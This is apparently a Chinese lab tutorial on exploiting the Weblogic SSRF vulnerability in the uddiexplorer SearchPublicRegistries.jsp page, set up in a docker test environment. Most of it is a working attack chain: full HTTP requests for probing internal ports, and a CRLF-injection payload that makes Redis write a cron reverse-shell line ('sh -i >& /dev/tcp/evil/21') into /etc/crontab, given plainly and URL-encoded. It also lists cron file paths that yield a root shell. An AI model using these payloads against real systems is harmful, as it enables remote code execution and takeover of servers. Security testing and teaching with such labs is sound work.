新后端漏洞(上)- Weblogic SSRF漏洞

漏洞介绍:

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
编译及启动测试环境

docker-compose up -d

访问http://127.0.0.1:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

1、漏洞测试:

SSRF漏洞测试

SSRF漏洞存在于:http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,

我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1

Host: localhost

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

2、可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
3、修改为一个不存在的端口,将会返回could not connect over HTTP to server。

通过错误的不同,即可探测内网状态。

4、注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个"GET"请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:

发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是"\r\n",也就是"%0D%0A"。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >%26 %2Fdev%2Ftcp%2Fevil%2F21 0>%261'\n\n\n\n" config set dir %2Fetc%2F config set dbfilename crontab save aaa HTTP/1.1

Host: localhost

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

成功反弹shell:

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的

/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

/var/spool/cron/root centos系统下root用户的cron文件

/var/spool/cron/crontabs/root debian系统下root用户的cron文件

相关推荐
zyxqyy&∞1 分钟前
sqli-labs-union联合查询(Less1-Less4)
数据库·安全
域智盾软件40 分钟前
文件外发管理:小微、中型、研发涉密,三种环境怎么配
安全·域智盾
迪康Defender1 小时前
PHP 高危漏洞应急分析:从风险原理到端点侧纵深防护
运维·开发语言·安全·自动化·php·运维开发·远程工作
安教安全员通关宝1 小时前
2026年四川安全员C2证考试题库+答案+解析
安全
躺柒2 小时前
读数据安全架构设计与实践16安全架构案例(上)
安全·php·零信任·安全架构·防火墙·无边界
武天旭2 小时前
AI安全--AI大模型的虚假信息识别与多模态过滤
人工智能·安全
赛博守夜人2 小时前
AI安全攻防与治理之十:模型输出中的敏感信息从哪里来,记忆、检索、日志与上下文泄露的区别
人工智能·安全
消费电子测评研究中心3 小时前
2026年智能门锁安全技术研究报告:活体检测、防撬报警与加密技术解析
安全
jimmyleeee3 小时前
Agent安全之四:Agentic Supply Chain Vulnerabilities(ASI04)---当 Agent 信任了不该信任的运行时依赖
人工智能·安全
linfen15203 小时前
X 语言设计全景:原生性能、资源安全、AI 协作与未来软件的无限想象
人工智能·安全